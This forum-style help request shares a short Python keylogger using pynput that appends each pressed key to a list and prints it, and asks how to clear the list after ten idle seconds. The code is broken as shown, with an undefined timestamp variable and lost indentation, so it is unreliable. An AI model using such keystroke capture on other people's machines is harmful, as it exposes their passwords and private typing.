This is my completed keylogger as of right now. I have already posted this question before but it was really hard to iterate myself. On_press and On_release are the two main functions in this. They both track one keystroke. I need to track the time it takes between keystrokes, and I am not totally sure how I would get this done. I had the thought that I could track to see the time in between the string appends. I need to be able to see the time in between keystrokes because if that is longer than a certain period of time (ten seconds), I want the string which houses the keystrokes (keys) to be cleared. Thank y'all!
import pynput
import time
import os, sys
from pynput.keyboard import Key, Listener
import psutil
count = 0
keys = []
if (time.time() - lastKeystroke > 10):
keys =[]
def on_press(key):
global keys, count
keys.append(str(key).replace("'",'').replace("Key.space", ' ').replace("Key.shift", "").lower())
print(keys)
count += 1
def on_release(key):
if key == Key.esc:
return False
lastKeystroke = time.time()
with Listener(on_press, on_release =on_release) as listener:
listener.join()